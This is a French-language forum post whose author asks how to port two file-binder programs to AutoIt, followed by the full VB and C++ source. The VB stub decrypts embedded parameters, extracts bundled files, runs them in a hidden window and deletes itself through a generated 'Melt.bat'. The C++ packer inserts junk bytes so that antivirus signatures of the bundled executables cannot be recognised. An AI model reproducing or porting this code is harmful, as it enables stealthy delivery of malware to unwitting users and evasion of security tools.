Ya quelque temps j'ai commence a rechercher comment creer un program pour binder 1 ou plusieurs fichier dans un executable.
j'ai trouver 2 code source C++ et VB.
ya til un moyen de les convertir en autoit.
Merci
Source VB :
► Afficher le texte
Code : Tout sélectionner
Public Sub Main()
On Error Resume Next
'Declarations
Dim StrFile As String 'data du stub, stub data
Dim StrBuffer As String 'Chaine de params utilisateur, user param's string
Dim z, y As Long 'Var long, for var
Dim LngParam(1 To 2) As Long 'Ret instr, returned instr
Dim strSplited() As String 'Param Split "#"
'''''''''''''''''''''''''''''''
Dim StrExec As String 'Param execution
Dim strFilePath As String 'Param path
Dim LngFileLen As Long 'param taille de fichier, param file size
Dim LngFileName As String 'Param Nom du fichier, param filename
Dim LngCursor As Long 'Pointeur de position dans StrFile, file position pointer
'''''''''''''
'A_ On récupere le code du stub
'A_ all the stub code in the string
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
StrFile = Space(FileLen(App.Path & "\" & App.EXEName & ".exe"))
Get #1, 1, StrFile
Close #1
'''''''''''''''''''''''''''''''
'B _ On isole les params utilisateurs
'B _ user param get
LngParam(1) = InStr(1, StrFile, "<?&&>", vbBinaryCompare)
LngParam(2) = InStr(1, StrFile, "###", vbBinaryCompare)
StrBuffer = Mid(StrFile, LngParam(1) + 5, LngParam(2))
'''''''''''''''''''''''''''''''''''''
StrBuffer = Decrypt(StrBuffer)
'C _On Récupere la liste des taches
'C _Get task list (user param all)
strSplited1 = Split(StrBuffer, "###")
LngCursor = strSplited1(0)
'''''''''''''''''''''''''''''''''''
'E _Boucle de Déploiement des fichiers
'E _File deployment loop
For z = 1 To UBound(strSplited1()) - 1
'E1 _Split des specs fichiers
'E1 _User param get (file)
strSplited() = Split(strSplited1(z), "|")
'''''''''''''''''''''''''''''
'E2 _Assignation des specs aux variables
'E2 _User param variables assignment
strFilePath = strSplited(1)
LngFileLen = strSplited(2)
LngFileName = strSplited(3)
StrExec = strSplited(4)
StrBuffer = Mid(StrFile, LngCursor + 1, LngFileLen)
''''''''''''''''''''''''''''''''''''''''
'E3 _Ecriture du fichier
'E3 _ File writing
If Dir(InstallPath(strFilePath) & LngFileName) <> "" Then Kill (InstallPath(strFilePath) & LngFileName)
Open InstallPath(strFilePath) & LngFileName For Binary As #1
Put #1, LOF(1) + 1, StrBuffer
Close #1
''''''''''''''''''''''''
'E4 _Mise a jour du pointeur
'E4 _Cursor update
LngCursor = LngCursor + LngFileLen + 1
'''''''''''''''''''''''''''
'E6 _Param Execution
If StrExec = "Yes" Then ShellExecute hwnd, "open", InstallPath(strFilePath) & LngFileName, vbNullString, vbNullString, SW_HIDE
''''''''''''''''''''
Next z
1 DoEvents
'G _Melt du Stub
If strSplited1(UBound(strSplited1()) - 1) = "Yes" Then
Open InstallPath("Temp Directory") & "Melt.bat" For Output As #1
Print #1, "@Echo off"
Print #1, ":Begin"
Print #1, "Del " & App.EXEName & ".exe"
Print #1, "If Exist " & App.Path & "\" & App.EXEName & ".exe" & " Goto Begin"
Print #1, "Del " & InstallPath("Temp Directory") & "Melt.bat"
Close #1
Shell InstallPath("Temp Directory") & "Melt.bat", vbHide
End If
'''''''''''''''''
DoEvents
End Sub► Afficher le texte
Code : Tout sélectionner
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <assert.h>
/*-------------Self unpacker by t0rtK ---------------------------
il copie 2 exe (ou n'importequoi)l'un a la suite de l'autre en
rajoutant une entête Celle ci extrait les exe et les execute.
J'ai rajoute une option permettant de rajouter des octets bidons afin que
la signature des exe ne soit plus identifiable avant l'extraction.
-----------------------------------------------------------------
Source simple de debutant postee uniquement en tant qu'exemple
-----------------------------------------------------------------*/
unsigned long* taille(char *file_name);
void file_copy(char *file_name);
void forma(char* binded_name, unsigned long* taille_file1, unsigned long* taille_file2);
int main(int argc, char **argv)
{
FILE *del;
char *file1_name=calloc(256,sizeof(char));
char *file2_name=calloc(256,sizeof(char));
char *binded_name=calloc(256,sizeof(char));
unsigned long *taille_file1;
unsigned long *taille_file2;
del=fopen("tmp.exe","wb");
fclose(del);
if(argc != 4)
{
printf("Syntaxe: binded_name.exe file1.exe file2.exe");
exit(12);
}
file1_name=argv[2];
file2_name=argv[3];
binded_name=argv[1];
taille_file1=taille(file1_name);
taille_file2=taille(file2_name);
file_copy(file1_name);
file_copy(file2_name);
forma(binded_name, taille_file1, taille_file2);
return 1;
}
/*Fonction qui renvoie la taille d'un fichier*/
unsigned long *taille(char *file_name)
{
FILE *f;
unsigned long* taille=calloc(1,sizeof(unsigned long));
f=fopen(file_name,"rb");
assert(f);
fseek(f,0,SEEK_END);
*taille=ftell(f);
fclose(f);
return taille;
}
/*Fonction qui copie le contenu d'un fichier au bout d'un fichier tampon*/
void file_copy(char *file_name)
{
char *c=calloc(1,sizeof(char));
/*Je sais, j'ai la manie de mettre des calloc dans tous les sens ^^*/
FILE *f_source;
FILE *f_temp;
f_source=fopen(file_name,"rb");
f_temp=fopen("tmp.exe","ab");
assert(f_source);
assert(f_temp);
fseek(f_temp,0,SEEK_END);
while(!feof(f_source))
{
fread(c,sizeof(char),1,f_source);
fwrite(c,sizeof(char),1,f_temp);
}
free(c);
fclose(f_source);
fclose(f_temp);
}
/*Fonction qui crée une entête qui construit l'exe final a partir des differents blocs*/
void forma(char* binded_name, unsigned long* taille_file1, unsigned long* taille_file2)
{
FILE *f;
FILE *h;
FILE *t;
char *c=calloc(1,sizeof(char));
char *v=calloc(1,sizeof(char));
f=fopen(binded_name,"wb");
h=fopen("header.bin","rb");
assert(f);
assert(h);
while(!feof(h))
{
fread(c,sizeof(char),1,h);
fwrite(c,sizeof(char),1,f);
}
printf("taille_header=%lu\n",ftell(f));
/*Permet de connaitre la taille du header, si vous vouliez modifier le code.*/
fwrite(taille_file1,sizeof(unsigned long),1,f);
fwrite(taille_file2,sizeof(unsigned long),1,f);
/*Fin de la creation de l'en tete
Copions a present notre segment de donnes*/
t=fopen("tmp.exe","rb");
assert(t);
while(!feof(t))
{
fread(c,sizeof(char),1,t);
fwrite(c,sizeof(char),1,f);
fwrite(v,sizeof(char),1,f);
}
/*Voici comment se presente le fichier
|----"self-extractor"----|---donnes sur la tailles des exe --|--------EXE1------|-------EXE2------|*/
}


